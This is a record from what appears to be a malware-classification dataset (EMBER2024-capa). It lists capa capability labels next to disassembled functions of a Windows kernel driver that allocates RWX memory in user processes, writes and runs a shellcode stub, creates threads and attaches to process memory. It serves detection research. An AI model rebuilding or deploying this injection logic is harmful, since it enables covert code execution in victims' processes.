joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008754
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r14, rdx
mov r15, rcx
call qword [sym.imp.ntoskrnl.exe_PsGetProcessId]
mov r12d, 0x656e6f42
mov ebx, 0x100000
mov r8d, r12d
mov edx, ebx
xor ecx, ecx
mov rbp, rax
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rsi, rax
mov rdi, rax
test r14, r14
jne 0x1400087ad
mov eax, 0xc000000d
jmp 0x1400088cf
test rsi, rsi
jne 0x1400087d5
lea r9, [0x14000f2e0]
xor edx, edx
lea r8, [0x14000f300]
lea ecx, [rsi + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, 0xc0000017
jmp 0x1400088cf
xor r9d, r9d
mov r8d, ebx
mov rdx, rsi
lea ecx, [r9 + 5]
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov ebx, eax
lfence
test eax, eax
jns 0x140008802
mov edx, r12d
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x1400088cd
mov ebx, 0xc0000225
cmp qword [rsi + 0x50], rbp
je 0x14000881c
mov eax, dword [rdi]
test eax, eax
je 0x14000881e
add rdi, rax
cmp qword [rdi + 0x50], rbp
jne 0x14000880d
xor ebx, ebx
mov rcx, r15
call qword [sym.imp.ntoskrnl.exe_PsGetProcessWow64Process]
test rax, rax
setne r12b
test ebx, ebx
js 0x14000889a
lfence
xor ebp, ebp
mov ebx, 0xc0000225
cmp dword [rdi + 4], ebp
jbe 0x1400088b3
lea rcx, [rbp*4]
add rcx, rbp
add rcx, rcx
mov r15, qword [rdi + rcx*8 + 0x130]
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
cmp r15, rax
je 0x140008891
mov rdx, r14
mov rcx, r15
call qword [sym.imp.ntoskrnl.exe_PsLookupThreadByThreadId]
mov rcx, qword [r14]
mov ebx, eax
test rcx, rcx
je 0x1400088b3
mov dl, r12b
call fcn.140008fa4
test al, al
je 0x1400088b3
mov rcx, qword [r14]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
and qword [r14], 0
inc ebp
cmp ebp, dword [rdi + 4]
jb 0x140008841
jmp 0x1400088b3
xor edx, edx
lea r9, [0x14000f2e0]
lea r8, [0x14000f350]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov edx, 0x656e6f42
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp qword [r14], 0
mov eax, 0xc0000225
cmove ebx, eax
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400088f0
Capabilities:
Create thread

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4f]
sub rsp, 0xb8
and qword [rbp + 0x6f], 0
xorps xmm0, xmm0
and dword [rbp - 0x15], 0
and dword [rbp + 3], 0
and qword [rbp + 0x77], 0
and qword [rbp + 0x7f], 0
and qword [rbp - 0x11], 0
and qword [rbp - 9], 0
mov dword [rbp - 0x19], 0x30
mov dword [rbp - 1], 0x200
movups xmmword [rbp - 0x29], xmm0
movdqu xmmword [rbp + 7], xmm0
test rcx, rcx
jne 0x140008949
mov eax, 0xc000000d
jmp 0x140008a36
mov qword [rsp + 0x30], rcx
lea rax, [0x140008a40]
mov qword [rsp + 0x28], rax
lea r8, [rbp - 0x19]
lea rax, [rbp - 0x29]
xor r9d, r9d
mov edx, 0x1fffff
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x6f]
call qword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
mov ebx, eax
test eax, eax
jns 0x1400089a4
lfence
xor edx, edx
mov dword [rsp + 0x20], eax
lea r9, [0x14000f660]
lea r8, [0x14000f670]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
jmp 0x140008a34
mov r8, qword [sym.imp.ntoskrnl.exe_PsThreadType]
lea rax, [rbp + 0x7f]
mov rcx, qword [rbp + 0x6f]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov edx, 0x1fffff
lea rax, [rbp + 0x77]
mov r8, qword [r8]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
mov ebx, eax
test eax, eax
js 0x140008a25
mov rcx, qword [rbp + 0x77]
xorps xmm0, xmm0
and dword [rbp + 0x67], 0
mov r9b, 1
and qword [rsp + 0x20], 0
xor r8d, r8d
xor edx, edx
movups xmmword [rbp + 0x17], xmm0
movups xmmword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x37], xmm0
call qword [sym.imp.ntoskrnl.exe_KeWaitForSingleObject]
mov rcx, qword [rbp + 0x6f]
lea rax, [rbp + 0x67]
mov r9d, 0x30
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x17]
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationThread]
mov ebx, dword [rbp + 0x17]
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x140008a34
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
add rsp, 0xb8
pop rbx
pop rbp
ret
Function at 0x14000966c
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rsi, rcx
xor ebx, ebx
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rbp, rax
test rax, rax
je 0x140009700
lea r8d, [rbx + 0xa]
mov dword [rsp + 0x48], ebx
lea r9, [rsp + 0x48]
mov dl, 1
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_RtlImageDirectoryEntryToData]
mov rdi, rax
test rax, rax
je 0x140009705
mov r14d, 0x20b
cmp word [rbp + 0x18], r14w
jne 0x1400096c4
mov rax, qword [rax + 0x58]
jmp 0x1400096c7
mov eax, dword [rax + 0x3c]
test rax, rax
je 0x140009705
mov rax, rsi
lea rcx, [rsp + 0x50]
shr rax, 0x20
xor eax, esi
mov dword [rsp + 0x50], eax
call qword [sym.imp.ntoskrnl.exe_RtlRandomEx]
mov ecx, eax
xor rcx, rsi
cmp word [rbp + 0x18], r14w
jne 0x1400096f9
mov rax, qword [rdi + 0x58]
mov qword [rax], rcx
jmp 0x140009705
mov eax, dword [rdi + 0x3c]
mov dword [rax], ecx
jmp 0x140009705
mov ebx, 0xc000007b
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x1400098a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
xor r12d, r12d
mov qword [rbp + 0x67], 0x1000
mov rsi, rcx
test rcx, rcx
jne 0x1400098db
mov eax, 0xc000000d
jmp 0x140009aa9
lea r14, [rcx + 8]
mov dword [rsp + 0x28], 0x40
mov rdx, r14
mov qword [r14], r12
lea r9, [rbp + 0x67]
mov dword [rsp + 0x20], 0x1000
xor r8d, r8d
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov ebx, eax
test eax, eax
js 0x140009aa7
lfence
mov rcx, qword [rsi]
mov rdi, qword [r14]
call qword [sym.imp.ntoskrnl.exe_PsGetProcessWow64Process]
xorps xmm0, xmm0
lea r9, [0x14000f7b0]
test rax, rax
mov rcx, r9
mov eax, 0x7fff
mov r8d, 2
setne r15b
mov edx, eax
movups xmmword [rbp - 9], xmm0
cmp word [rcx], r12w
je 0x140009955
add rcx, r8
sub rdx, 1
jne 0x140009944
jmp 0x14000996b
sub rax, rdx
mov qword [rbp - 1], r9
add ax, ax
mov word [rbp - 9], ax
add ax, r8w
mov word [rbp - 7], ax
mov rbx, qword [rsi]
lea rdx, [rbp - 9]
mov rcx, rbx
mov r8b, r15b
call fcn.1400084d8
mov rcx, rax
lea rdx, [0x140010170]
xor r9d, r9d
mov r8, rbx
call fcn.140008184
test rax, rax
je 0x140009aa2
lfence
mov dword [rbp + 0xb], r12d
lea rcx, [rdi + 0x100]
mov qword [rcx], 0xffffffffffff3cb0
mov dword [rbp + 0x23], r12d
test r15b, r15b
je 0x1400099d8
mov dword [rdi + 1], ecx
mov ecx, 0x16a
mov byte [rdi], 0x68
mov word [rdi + 5], cx
mov byte [rdi + 7], 0xb8
mov dword [rdi + 8], eax
mov dword [rdi + 0xc], 0xf0ebd0ff
jmp 0x140009a09
mov qword [rdi + 2], 1
mov edx, 0xb948
mov word [rdi], dx
mov edx, 0xba48
mov qword [rdi + 0xc], rcx
mov ecx, 0xb848
mov word [rdi + 0xa], dx
mov word [rdi + 0x14], cx
mov qword [rdi + 0x16], rax
mov dword [rdi + 0x1e], 0xdeebd0ff
mov rax, qword [r14]
lea r8, [rbp + 7]
mov qword [rsp + 0x50], r12
lea rcx, [rsi + 0x10]
mov qword [rsp + 0x48], 0x100000
xorps xmm0, xmm0
mov qword [rsp + 0x40], 0x1000
mov r14d, 0x1fffff
mov qword [rsp + 0x38], r12
or r9, 0xffffffffffffffff
mov dword [rsp + 0x30], r12d
mov edx, r14d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
mov dword [rbp + 7], 0x30
mov qword [rbp + 0xf], r12
mov dword [rbp + 0x1f], 0x200
mov qword [rbp + 0x17], r12
movdqu xmmword [rbp + 0x27], xmm0
call fcn.140001a9c
mov ebx, eax
test eax, eax
js 0x140009aa7
lfence
mov r8, qword [sym.imp.ntoskrnl.exe_PsThreadType]
lea rax, [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov edx, r14d
mov qword [rsp + 0x20], rax
mov r8, qword [r8]
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
jmp 0x140009aa7
mov ebx, 0xc0000225
mov eax, ebx
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x14000a41c
Capabilities:
Access pe header
Get file attributes
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov rax, qword [0x140005090]
xor rax, rsp
mov qword [rbp + 0x37], rax
and qword [rbp - 0x29], 0
xor eax, eax
and dword [rbp - 0xd], 0
xorps xmm0, xmm0
and dword [rbp + 0xb], 0
xorps xmm1, xmm1
mov qword [rbp + 0x2f], rax
mov rsi, rdx
mov rdi, rcx
movups xmmword [rbp - 0x21], xmm0
movups xmmword [rbp + 0x1f], xmm1
test rcx, rcx
je 0x14000a62e
test rdx, rdx
je 0x14000a62e
and dword [rsp + 0x50], eax
lea r9, [rbp - 0x21]
and qword [rsp + 0x48], rax
lea r8, [rbp - 0x11]
and qword [rbp - 9], rax
mov edx, 0x100001
mov dword [rsp + 0x40], 0x20
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 1
mov qword [rbp - 1], rcx
lea rcx, [rbp - 0x29]
mov dword [rsp + 0x28], 0x80
and qword [rsp + 0x20], rax
mov dword [rbp - 0x11], 0x30
mov dword [rbp + 7], 0x200
movdqu xmmword [rbp + 0xf], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwCreateFile]
mov ebx, eax
test eax, eax
jns 0x14000a509
lfence
xor edx, edx
mov dword [rsp + 0x28], eax
lea r9, [0x140010110]
mov qword [rsp + 0x20], rdi
lea r8, [0x14000f430]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, ebx
jmp 0x14000a64c
mov rcx, qword [rbp - 0x29]
lea r8, [rbp + 0x1f]
mov r9d, 0x18
mov dword [rsp + 0x20], 5
lea rdx, [rbp - 0x21]
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
js 0x14000a547
mov rdx, qword [rbp + 0x27]
mov r8d, 0x656e6f42
mov ecx, 1
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [rsi], rax
jmp 0x14000a56c
lfence
xor edx, edx
mov dword [rsp + 0x28], eax
lea r9, [0x140010110]
mov qword [rsp + 0x20], rdi
lea r8, [0x14000f480]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
and qword [rsp + 0x40], 0
xor r9d, r9d
and qword [rsp + 0x38], 0
xor r8d, r8d
mov eax, dword [rbp + 0x27]
xor edx, edx
mov rcx, qword [rbp - 0x29]
mov dword [rsp + 0x30], eax
mov rax, qword [rsi]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x21]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov ebx, eax
test eax, eax
js 0x14000a5db
mov rcx, qword [rsi]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
test rax, rax
jne 0x14000a600
lea r9, [0x140010110]
mov qword [rsp + 0x20], rdi
lea r8, [0x14000f4d0]
xor edx, edx
lea ecx, [rax + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov ebx, 0xc000007b
jmp 0x14000a600
lfence
xor edx, edx
mov dword [rsp + 0x28], eax
lea r9, [0x140010110]
mov qword [rsp + 0x20], rdi
lea r8, [0x14000f520]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
test ebx, ebx
jns 0x14000a502
mov rcx, qword [rsi]
test rcx, rcx
je 0x14000a502
mov edx, 0x656e6f42
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x14000a502
xor edx, edx
lea r9, [0x140010110]
lea r8, [0x140010130]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, 0xc000000d
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140002410
mov rbx, qword [rsp + 0x100]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000bce4
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, ecx
mov rdi, r8
test dl, dl
je 0x14000bcfd
lea rax, [r8 + rbx]
jmp 0x14000bd5d
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
test rax, rax
je 0x14000bd5b
mov ecx, 0xf8
lea r8d, [rcx + 0x13]
cmp word [rax + 0x18], r8w
lea edx, [rcx + 0x10]
cmovne ecx, edx
lea rdx, [rcx + rax]
movzx eax, word [rax + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
cmp rdx, r8
jae 0x14000bd5b
mov ecx, dword [rdx + 0xc]
cmp ebx, ecx
jb 0x14000bd42
add ecx, dword [rdx + 8]
cmp ebx, ecx
jb 0x14000bd48
add rdx, 0x28
jmp 0x14000bd2f
lfence
sub ebx, dword [rdx + 0xc]
mov eax, dword [rdx + 0x14]
mov ecx, ebx
add rcx, rdi
add rax, rcx
jmp 0x14000bd5d
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14000be38
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x30
xor r14d, r14d
mov rdi, rcx
cmp qword [0x1400050a0], r14
mov dword [rbp + 0x28], r14d
je 0x14000be76
test rcx, rcx
je 0x14000bfb1
mov eax, dword [0x1400050a8]
mov dword [rcx], eax
jmp 0x14000bfb1
xorps xmm0, xmm0
lea r8, [0x140010250]
movups xmmword [rbp - 0x10], xmm0
mov rax, r8
mov ecx, 0x7fff
mov edx, 2
cmp word [rax], r14w
je 0x14000bea2
add rax, rdx
sub rcx, 1
jne 0x14000be91
jmp 0x14000bebc
add cx, cx
mov qword [rbp - 8], r8
mov eax, 0xfffe
sub ax, cx
mov word [rbp - 0x10], ax
add ax, dx
mov word [rbp - 0xe], ax
lea rcx, [rbp - 0x10]
call qword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
mov rsi, rax
test rax, rax
jne 0x14000bed5
xor eax, eax
jmp 0x14000bfb8
mov r8d, dword [rbp + 0x28]
lea r9, [rbp + 0x28]
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov eax, dword [rbp + 0x28]
test eax, eax
jne 0x14000bf0a
lea r9, [0x140010270]
xor edx, edx
lea r8, [0x140010280]
lea ecx, [rax + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
jmp 0x14000bece
mov rdx, rax
xor ecx, ecx
mov r8d, 0x656e6f42
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov r8d, dword [rbp + 0x28]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.1400025c0
mov r8d, dword [rbp + 0x28]
lea r9, [rbp + 0x28]
mov rdx, rbx
mov ecx, 0xb
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
test eax, eax
js 0x14000bf9e
mov r9d, dword [rbx]
mov edx, r14d
test r9d, r9d
je 0x14000bf9e
lea rcx, [rbx + 0x20]
mov r8, qword [rcx - 8]
cmp rsi, r8
jb 0x14000bf68
mov eax, dword [rcx]
add rax, r8
cmp rsi, rax
jb 0x14000bf78
inc edx
add rcx, 0x128
cmp edx, r9d
jae 0x14000bf9e
jmp 0x14000bf55
mov eax, edx
imul rcx, rax, 0x128
mov rax, qword [rcx + rbx + 0x18]
mov qword [0x1400050a0], rax
mov eax, dword [rcx + rbx + 0x20]
mov dword [0x1400050a8], eax
test rdi, rdi
je 0x14000bf9e
mov dword [rdi], eax
test rbx, rbx
je 0x14000bfb1
mov edx, 0x656e6f42
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, qword [0x1400050a0]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rbp
ret
Function at 0x14000c044
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140005090]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ecx, ecx
call fcn.14000be38
mov rsi, rax
mov rax, qword [0x1400050b0]
test rax, rax
jne 0x14000c137
test rsi, rsi
je 0x14000c135
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rbp, rax
movzx ecx, word [rax + 6]
lea rdi, [rax + 0x108]
lea rdx, [rcx + rcx*4]
lea rcx, [rdi + rdx*8]
cmp rdi, rcx
jae 0x14000c135
lfence
lea rbx, [rdi + 8]
mov ecx, dword [rbx + 0x1c]
and ecx, 0x2a000000
cmp ecx, 0x28000000
jne 0x14000c11c
mov eax, dword [rbx - 8]
cmp eax, 0x54494e49
je 0x14000c11c
cmp eax, 0x45474150
je 0x14000c11c
movups xmm0, xmmword [0x1400102d0]
mov r9d, dword [rbx + 4]
lea rcx, [rsp + 0x30]
mov eax, dword [rbx]
add r9, rsi
and qword [rsp + 0x30], 0
mov r8d, 0xf
mov qword [rsp + 0x28], rcx
mov dl, 0xcc
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x20], rax
movdqu xmmword [rsp + 0x38], xmm0
call fcn.140001fd4
test eax, eax
jns 0x14000c159
movzx eax, word [rbp + 6]
add rbx, 0x28
lea rcx, [rax + rax*4]
lea rdx, [rdi + rcx*8]
lea rax, [rbx - 8]
cmp rax, rdx
jb 0x14000c0b9
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140002410
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + 3]
add rax, 7
add rax, rcx
mov qword [0x1400050b0], rax
jmp 0x14000c137
Function at 0x14000c5b8
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
test rcx, rcx
je 0x14000c756
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140005090]
xor rax, rsp
mov qword [rbp - 0x10], rax
and qword [rbp - 0x50], 0
mov rbx, rcx
and qword [rbp - 0x48], 0
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov r14d, 2
cmp rax, qword [rbx]
jne 0x14000c60a
lea edi, [r14 - 1]
jmp 0x14000c639
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rcx, qword [rbx]
lea rdx, [rbp - 0x48]
xor edi, edi
cmp rax, qword [rbx + 0x10]
cmove edi, r14d
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x14000c675
mov rcx, qword [rbp - 0x48]
lea rdx, [rbp - 0x40]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000c64c
mov rdx, qword [rbx + 0x28]
call qword [sym.imp.ntoskrnl.exe_MmUnmapLockedPages]
lea rdx, [rbx + 0x38]
mov cl, 1
call fcn.14000c510
cmp edi, 1
je 0x14000c666
lea rcx, [rbp - 0x40]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000c675
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
cmp edi, r14d
je 0x14000c6a0
mov rcx, qword [rbx + 0x10]
lea rdx, [rbp - 0x50]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x14000c6e6
mov rcx, qword [rbp - 0x50]
lea rdx, [rbp - 0x40]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rax, qword [rbp - 0x50]
jmp 0x14000c6a6
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
mov rdx, qword [rbx + 0x30]
mov r8b, 1
mov rcx, rax
call fcn.14000d74c
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14000c6c8
mov rdx, qword [rbx + 0x28]
call qword [sym.imp.ntoskrnl.exe_MmUnmapLockedPages]
cmp edi, r14d
je 0x14000c6d7
lea rcx, [rbp - 0x40]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000c6e6
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x14000c71a
mov rax, qword [rbx + 0x28]
test rax, rax
je 0x14000c70a
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_IoFreeMdl]
and qword [rbx + 0x28], 0
mov rcx, qword [rbx + 0x20]
mov edx, 0x656e6f42
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
and qword [rbx + 0x20], 0
lea rdx, [rbx + 0x38]
xor ecx, ecx
call fcn.14000c510
mov rdx, rbx
lea rcx, [0x1400054a0]
call qword [sym.imp.ntoskrnl.exe_RtlDeleteElementGenericTableAvl]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140002410
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14000d81c
Capabilities:
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
and qword [rax + 8], 0
mov rbx, rcx
mov ecx, dword [rcx + 0xc]
mov eax, dword [rbx]
mov rdx, qword [rbx]
lea rsi, [rcx + 0xfff]
and eax, 0xfff
add rsi, rax
mov rax, qword [sym.imp.ntoskrnl.exe_MmHighestUserAddress]
mov r8, qword [rax]
cmp rdx, r8
jae 0x14000d9e9
lea rax, [rdx + rcx]
cmp rax, r8
ja 0x14000d9e9
lea rcx, [0x140005460]
call qword [sym.imp.ntoskrnl.exe_KeAcquireGuardedMutex]
mov ecx, dword [rbx + 8]
lea rdx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov edi, eax
test eax, eax
jns 0x14000d8b5
lfence
mov ecx, dword [rbx + 8]
lea r9, [0x140010c90]
xor edx, edx
mov dword [rsp + 0x20], ecx
lea r8, [0x140010a70]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
jmp 0x14000d8f3
mov rcx, qword [rsp + 0x40]
call fcn.140001f00
mov edx, dword [rbx + 8]
test al, al
je 0x14000d907
mov dword [rsp + 0x20], edx
lea r9, [0x140010c90]
xor edx, edx
lea r8, [0x14000ebe0]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov edi, 0xc000010a
lea rcx, [0x140005460]
call qword [sym.imp.ntoskrnl.exe_KeReleaseGuardedMutex]
mov eax, edi
jmp 0x14000d9ee
mov rcx, rdx
xor edx, edx
call fcn.14000caf8
mov rdi, rax
test rax, rax
jne 0x14000d943
mov eax, dword [rbx + 8]
lea r9, [0x140010c90]
lea r8, [0x140010cb0]
mov dword [rsp + 0x20], eax
xor edx, edx
lea ecx, [rdi + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov ebx, 0xc0000225
jmp 0x14000d9c8
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
cmp qword [rdi], rax
je 0x14000d96e
xor edx, edx
lea r9, [0x140010c90]
lea r8, [0x140010b00]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov ebx, 0xc000000d
jmp 0x14000d9c8
and qword [rbx], 0xfffffffffffff000
lea rcx, [rdi + 0x38]
mov rbp, qword [rbx]
and esi, 0xfffff000
mov r8d, esi
mov rdx, rbp
mov dword [rbx + 0xc], r8d
call fcn.14000c7a8
test rax, rax
je 0x14000d9a5
mov rdx, rdi
mov rcx, rax
call fcn.14000da04
mov ebx, eax
jmp 0x14000d9c8
xor edx, edx
mov qword [rsp + 0x20], rbp
lea r9, [0x140010c90]
lea r8, [0x140010d00]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov ebx, 0xc0000141
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000d9d8
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
lea rcx, [0x140005460]
call qword [sym.imp.ntoskrnl.exe_KeReleaseGuardedMutex]
mov eax, ebx
jmp 0x14000d9ee
mov eax, 0xc0000141
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x14000daa8
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x140005090]
xor rax, rsp
mov qword [rbp + 0x37], rax
and qword [rbp - 0x19], 0
mov rsi, rdx
mov rbx, rcx
test rdx, rdx
jne 0x14000dae4
mov eax, 0xc000000d
jmp 0x14000dbda
mov ecx, dword [rcx + 0x10]
lea rdx, [rbp - 0x19]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov edi, eax
test eax, eax
js 0x14000dba9
mov rax, qword [rbx]
lea rdx, [rbp + 7]
mov rcx, qword [rbp - 0x19]
mov qword [rbp - 1], rax
mov rax, qword [rbx + 8]
mov qword [rbp - 9], rax
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
cmp byte [rbx + 0x1c], 0
je 0x14000db6b
cmp byte [rbx + 0x1d], 0
je 0x14000db35
mov rcx, qword [rbp - 0x19]
mov r8, rsi
mov rdx, rbx
call fcn.14000dbfc
jmp 0x14000db9b
mov eax, dword [rbx + 0x14]
lea r9, [rbp - 9]
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 1]
mov eax, dword [rbx + 0x18]
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x20], eax
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov edi, eax
mov rax, qword [rbp - 1]
mov qword [rsi], rax
mov rax, qword [rbp - 9]
mov qword [rsi + 8], rax
jmp 0x14000db9d
mov rdx, qword [rbx]
lea r8, [rbp - 0x11]
